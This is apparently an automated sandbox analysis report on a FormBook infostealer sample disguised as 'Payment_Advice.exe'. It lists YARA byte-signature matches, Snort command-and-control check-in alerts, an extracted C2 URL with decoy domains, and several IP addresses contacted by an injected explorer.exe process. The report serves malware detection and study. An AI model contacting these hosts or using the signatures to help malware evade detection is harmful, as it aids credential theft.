00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x5fc1:$a1: 3C 30 50 4F 53 54 74 09 40 0x343c9:$a1: 3C 30 50 4F 53 54 74 09 40 0x1c8f0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x4acf8:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa72f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x38b37:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x15617:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83 0x43a1f:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9678:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x98e2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x37a80:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x37cea:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15415:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x4381d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14f01:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x43309:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15517:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x4391f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1568f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x43a97:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa2fa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x38702:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1417c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x42584:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xaff3:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x393fb:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b657:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x49a5f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c65a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18579:$sqlite3step: 68 34 1C 7B E1 0x1868c:$sqlite3step: 68 34 1C 7B E1 0x46981:$sqlite3step: 68 34 1C 7B E1 0x46a94:$sqlite3step: 68 34 1C 7B E1 0x185a8:$sqlite3text: 68 38 2A 90 C5 0x186cd:$sqlite3text: 68 38 2A 90 C5 0x469b0:$sqlite3text: 68 38 2A 90 C5 0x46ad5:$sqlite3text: 68 38 2A 90 C5 0x185bb:$sqlite3blob: 68 53 D8 7F 8C 0x186e3:$sqlite3blob: 68 53 D8 7F 8C 0x469c3:$sqlite3blob: 68 53 D8 7F 8C 0x46aeb:$sqlite3blob: 68 53 D8 7F 8C
0000000F.00000002.3875577794.00000000106B5000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_772cc62d	unknown	unknown	0x9e2:$a2: pass 0x9e8:$a3: email 0x9ef:$a4: login 0x9f6:$a5: signin 0xa07:$a6: persistent 0xbda:$r1: C:\Users\user\AppData\Roaming\8N12RS0B\8N1log.ini
0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: ewdbwwfpdh.bmp PID: 6052	JoeSecurity_AntiVM_1	Yara detected AntiVM autoit script	Joe Security
Process Memory Space: ewdbwwfpdh.bmp PID: 6052	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x140f3d:$a1: 3C 30 50 4F 53 54 74 09 40 0x1c1c5f:$a1: 3C 30 50 4F 53 54 74 09 40 0x1c403b:$a1: 3C 30 50 4F 53 54 74 09 40 0x1c5099:$a1: 3C 30 50 4F 53 54 74 09 40 0x1daf0b:$a1: 3C 30 50 4F 53 54 74 09 40 0x23f384:$a1: 3C 30 50 4F 53 54 74 09 40 0x387332:$a1: 3C 30 50 4F 53 54 74 09 40
Process Memory Space: RegSvcs.exe PID: 6108	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x69fa8:$a1: 3C 30 50 4F 53 54 74 09 40
Process Memory Space: cmd.exe PID: 636	Windows_Trojan_Formbook_1112e116	unknown	unknown	0xaacf:$a1: 3C 30 50 4F 53 54 74 09 40 0x1826d4:$a1: 3C 30 50 4F 53 54 74 09 40 0x18c36e:$a1: 3C 30 50 4F 53 54 74 09 40
Click to see the 55 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
14.2.RegSvcs.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
14.2.RegSvcs.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
14.2.RegSvcs.exe.400000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
14.2.RegSvcs.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
14.2.RegSvcs.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
14.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
14.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
14.2.RegSvcs.exe.400000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x5451:$a1: 3C 30 50 4F 53 54 74 09 40 0x1bd80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9bbf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x14aa7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
14.2.RegSvcs.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aae7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1baea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
14.2.RegSvcs.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 5 entries

Snort Signatures

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.8 - Destination IP: 142.234.186.98

Timestamp:	192.168.2.8142.234.186.9849713802031412 10/06/23-15:46:24.770092
SID:	2031412
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.8 - Destination IP: 170.33.13.246

Timestamp:	192.168.2.8170.33.13.24649714802031412 10/06/23-15:47:05.527481
SID:	2031412
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.8 - Destination IP: 75.2.115.196

Timestamp:	192.168.2.875.2.115.19649721802031412 10/06/23-15:48:47.739146
SID:	2031412
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.8 - Destination IP: 91.195.240.19

Timestamp:	192.168.2.891.195.240.1949715802031412 10/06/23-15:47:26.584409
SID:	2031412
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.8 - Destination IP: 66.96.160.140

Timestamp:	192.168.2.866.96.160.14049719802031412 10/06/23-15:48:06.495640
SID:	2031412
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.8 - Destination IP: 77.222.40.147

Timestamp:	192.168.2.877.222.40.14749711802031412 10/06/23-15:46:05.442049
SID:	2031412
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.8 - Destination IP: 62.72.50.244

Timestamp:	192.168.2.862.72.50.24449716802031412 10/06/23-15:47:46.016751
SID:	2031412
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.8 - Destination IP: 103.224.182.242

Timestamp:	192.168.2.8103.224.182.24249720802031412 10/06/23-15:48:27.268039
SID:	2031412
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.jimenezfarmersinsurance.shop/hesf/"], "decoy": ["rizublog-aromama-a.com", "87b52.club", "allportablepower.com", "brownkrosshui.com", "schuobu.fun", "qevtjrobrb.xyz", "throne-rooms.com", "hostcheker.net", "buzztsunamiloja.com", "kkudatogel27.com", "91fulizifen.com", "148secretbet.com", "outlookthailand.com", "zonaduniabet.net", "boursobankk.com", "tuneuphypnosis.com", "sahabatzulhelmi.com", "usbulletinnow.com", "durdurdarshi.com", "zz-agency.com", "jf66899j.com", "artplex.store", "beautyhubaustralia.site", "tygyro.com", "ludio.biz", "ruochen.xyz", "smartvoiceinsurance.com", "shayun.net", "poston.app", "othersidewear.com", "620tom.com", "100mileview.info", "wedding-nanny.com", "betadda777.online", "passiveprofitsathome.com", "tobivausm.party", "171301.com", "sua-tang-chieu-cao-hiup.top", "pancakesandwaflesbeverages.net", "sahilsachdevaapps.app", "home-workout-ideas.com", "allpaleoclimb24.com", "vkcardrivingschool.com", "claimfine.com", "im-newbie-journal.online", "ybring7.com", "svgco.life", "joeysdoor.com", "elixirsiroptonic.com", "1320detailingsupplies.com", "olimcreative.com", "trinityoutboards.com", "zerofeelettings.com", "pendletonofficial.shop", "carneywaste.com", "schistdisc.com", "neomusic.net", "blackberrygrove.com", "homespy.net", "gdbushuo.icu", "luxury111mb.com", "akumaterial.com", "drakenskloof.com", "px6k4a.shop"]}

Multi AV Scanner detection for submitted file

Source: Payment_Advice.exe	ReversingLabs: Detection: 44%
Source: Payment_Advice.exe	Virustotal: Detection: 48%			Perma Link

Yara detected FormBook

Source: Yara match	File source: 14.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

ReversingLabs: Detection: 13%

Source: Payment_Advice.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Payment_Advice.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: Payment_Advice.exe
Source:	Binary string: RegSvcs.pdb, source: explorer.exe, 0000000F.00000002.3891932584.00000000122AF000.00000004.80000000.00040000.00000000.sdmp, cmd.exe, 00000010.00000002.3842961223.0000000002FD4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.3848016870.0000000003C9F000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: RegSvcs.exe, 0000000E.00000002.1648193337.00000000016A0000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000003.1648028584.00000000033FB000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000003.1649872985.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.3844385329.0000000003750000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.3844385329.00000000038EE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: RegSvcs.exe, 0000000E.00000002.1648104707.0000000001640000.00000040.10000000.00040000.00000000.sdmp, cmd.exe, 00000010.00000002.3842017169.0000000000A40000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 0000000E.00000002.1648193337.00000000016A0000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, cmd.exe, 00000010.00000003.1648028584.00000000033FB000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000003.1649872985.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.3844385329.0000000003750000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.3844385329.00000000038EE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: explorer.exe, 0000000F.00000002.3891932584.00000000122AF000.00000004.80000000.00040000.00000000.sdmp, cmd.exe, 00000010.00000002.3842961223.0000000002FD4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.3848016870.0000000003C9F000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: cmd.pdb source: RegSvcs.exe, 0000000E.00000002.1648104707.0000000001640000.00000040.10000000.00040000.00000000.sdmp, cmd.exe, cmd.exe, 00000010.00000002.3842017169.0000000000A40000.00000040.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0050A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_0050A69B
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0051C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_0051C220
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0052B348 FindFirstFileExA,	0_2_0052B348
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001DE387 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	6_2_001DE387
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001EA0FA SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_001EA0FA
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001EA488 FindFirstFileW,Sleep,FindNextFileW,FindClose,	6_2_001EA488
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001E65F1 FindFirstFileW,FindNextFileW,FindClose,	6_2_001E65F1
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001AC642 FindFirstFileExW,	6_2_001AC642
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001E7248 FindFirstFileW,FindClose,	6_2_001E7248
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001E72E9 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	6_2_001E72E9
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001DD836 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_001DD836
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001DDB69 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_001DDB69
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001E9F9F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_001E9F9F
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A5589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose,	16_2_00A5589A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A54EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	16_2_00A54EC1
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A50207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove,	16_2_00A50207
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A63E66 FindFirstFileW,FindNextFileW,FindClose,	16_2_00A63E66
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A4532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose,	16_2_00A4532E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then pop esi	14_2_004172CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then pop ebx	14_2_00407B1A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then pop edi	14_2_00417CFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then pop edi	14_2_00417CB6
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 4x nop then pop esi	16_2_02B672CE
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 4x nop then pop ebx	16_2_02B57B1A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 4x nop then pop edi	16_2_02B67CB6
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 4x nop then pop edi	16_2_02B67CFF

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 77.222.40.147 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 66.96.160.140 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 170.33.13.246 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 142.234.186.98 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 103.224.182.242 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.195.240.19 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 62.72.50.244 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 75.2.115.196 80	Jump to behavior

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.8:49711 -> 77.222.40.147:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.8:49713 -> 142.234.186.98:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.8:49714 -> 170.33.13.246:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.8:49715 -> 91.195.240.19:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.8:49716 -> 62.72.50.244:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.8:49719 -> 66.96.160.140:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.8:49720 -> 103.224.182.242:80
